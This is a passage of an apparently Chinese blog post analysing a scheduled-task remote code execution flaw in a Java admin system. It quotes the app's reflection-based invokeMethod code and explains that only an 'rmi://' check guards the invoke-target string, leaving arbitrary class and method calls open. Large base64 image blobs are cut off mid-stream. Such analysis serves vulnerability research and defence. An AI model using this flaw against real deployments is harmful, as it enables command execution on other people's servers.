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 truncated
|
||||
<p blockindex=12>在第一个<code>invokeMethod</code>方法中对调用目标字符串的类型进行判断,判断是Bean还是Class。然后调用第二个<code>invokeMethod</code>方法</p>
|
||||
<ul blockindex=13>
|
||||
<li>bean就通过getBean()直接获取bean的实例</li>
|
||||
<li>类名就通过反射获取类的实例</li>
|
||||
</ul>
|
||||
<pre blockindex=14><code class="hljs language-java"><span class=hljs-keyword>if</span> (!isValidClassName(beanName)){
|
||||
Object bean = SpringUtils.getBean(beanName);
|
||||
invokeMethod(bean, methodName, methodParams);
|
||||
}
|
||||
<span class=hljs-keyword>else</span>
|
||||
{
|
||||
Object bean = Class.forName(beanName).newInstance();
|
||||
invokeMethod(bean, methodName, methodParams);
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=15>第二个<code>invokeMethod</code>这个方法通过反射来加载测试类</p>
|
||||
<pre blockindex=16><code class="hljs language-java"><span class=hljs-keyword>if</span> (StringUtils.isNotNull(methodParams) && methodParams.size() > <span class=hljs-number>0</span>){
|
||||
Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));
|
||||
method.invoke(bean, getMethodParamsValue(methodParams));
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=17>这大概就是定时任务加载类的逻辑</p>
|
||||
<h2 blockindex=18>漏洞成因</h2>
|
||||
<p blockindex=19>接着我们新增一个定时任务,看看在创建的过程中对调用目标字符串做了哪些处理</p>
|
||||
<p blockindex=20>抓包可以看到直接调用了<code>/monitor/job/add</code>这个接口</p>
|
||||
<p blockindex=21><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=22>可以看到就只是判断了一下,目标字符串是否包含<code>rmi://</code>,这就导致导致攻击者可以调用任意类、方法及参数触发反射执行命令。</p>
|
||||
<p blockindex=23><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=24><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABEcAAAAnCAYAAADtnSbHAAAbN0lEQVR4nO3deXxb1Znw8d+9trzIkpdY8pbEMV4SZw9ZSAgkQAKEfWmBlq0DsxTat++0U9rpAu3MB7rxtrRvGXg7DBQKFAgtlDUJe9KEJITsjh3bsZ3EdiwvkuVdu+59/5Bsy47tWI6DA36+f6Hro+cePbkSOo/OOVfJnZGv8wWg6wrxyWmYE2Lwuzro6vaiK8pEd0sIIYQQQgghhBBnudiJ7sB4URQdX5eT1q6+AxPaHyGEEEIIIYQQQnw+qBPdASGEEEIIIYQQQoiJJMURIYQQQgghhBBCTGqxCYmmie6DEOILKifeMNFdEBFsXv9Ed0EIIYQQQoizkswcEUIIIYQQQgghxKQmxREhhBBCCCGEEEJMalIcEUIIIYQQQgghxKQmxREhhBBCCCGEEEJMalIcEUIIIYQQQgghxKQmxREhhBBCCCGEEEJMalIcEUIIIYQQQgghxKT2hS2OaDrEoE90N846Z3tezvb+ne00XUX9wr6rh